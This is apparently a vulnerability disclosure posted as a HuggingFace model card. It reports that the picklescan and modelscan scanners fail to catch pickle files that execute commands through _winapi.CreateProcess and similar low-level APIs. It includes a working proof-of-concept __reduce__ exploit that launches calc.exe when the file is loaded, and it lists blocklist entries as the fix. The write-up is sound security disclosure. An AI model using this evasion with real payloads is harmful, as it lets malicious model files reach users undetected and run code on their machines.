YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Scanner Evasion: picklescan + modelscan Bypass via _winapi.CreateProcess

Summary

Both picklescan (v1.0.4, Trail of Bits) and modelscan (v0.8.8, Protect AI/huntr) fail to detect malicious pickle files that use _winapi.CreateProcess for code execution. This allows arbitrary command execution with complete evasion of both automated scanners.

CVSS 3.1: 5.3 (AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L)

Vulnerability

Both scanners use blocklist-based detection: they parse pickle bytecode, extract (module, name) references from GLOBAL / STACK_GLOBAL opcodes, and compare against known-dangerous functions. The following OS-level process-creation APIs are absent from both blocklists:

Function Platform picklescan modelscan
_winapi.CreateProcess Windows NOT blocked NOT blocked
_posixsubprocess.fork_exec Linux NOT blocked NOT blocked
_ctypes.CDLL Cross-platform NOT blocked NOT blocked

Proof of Concept

Step 1: Create malicious file

import _winapi, pickle, joblib

class Exploit:
    def __reduce__(self):
        return (_winapi.CreateProcess,
                (None, 'calc.exe', None, None, 0, 0, None, None, None))

joblib.dump(Exploit(), 'evil.joblib')

Step 2: Scan β€” both scanners return 0 issues

$ picklescan --path evil.joblib
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0

$ modelscan -p evil.joblib
{"summary": {"total_issues": 0, "total_issues_by_severity": {"LOW": 0,
 "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}}, "issues": [], "errors": []}

Step 3: Load β€” calc.exe executes

joblib.load('evil.joblib')  # calc.exe pops up

Impact

  • All pickle-based model formats: .joblib, .pkl, .pt, .pth, .ckpt, .npy
  • Supply chain: HuggingFace Hub uses picklescan β€” malicious models pass undetected
  • Zero-click: victim only needs to joblib.load() or torch.load() the file

Root Cause

Blocklisting is fundamentally insufficient for pickle security. Python's module ecosystem has too many code-execution paths to enumerate. The scanners blocked os.system, subprocess.Popen, and ctypes.CDLL, but missed the low-level C-extension equivalents (_winapi, _posixsubprocess, _ctypes).

Fix

Add to both scanners' blocklists:

# picklescan
"_winapi": "*",
"_posixsubprocess": "*",
"_ctypes": "*",
"importlib": "*",

# modelscan settings.toml
[unsafe_globals.CRITICAL]
_winapi = "*"
_posixsubprocess = "*"
_ctypes = "*"
importlib = "*"

Long-term: adopt allowlisting (whitelist-based) approach β€” only permit explicitly safe (module, name) pairs.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support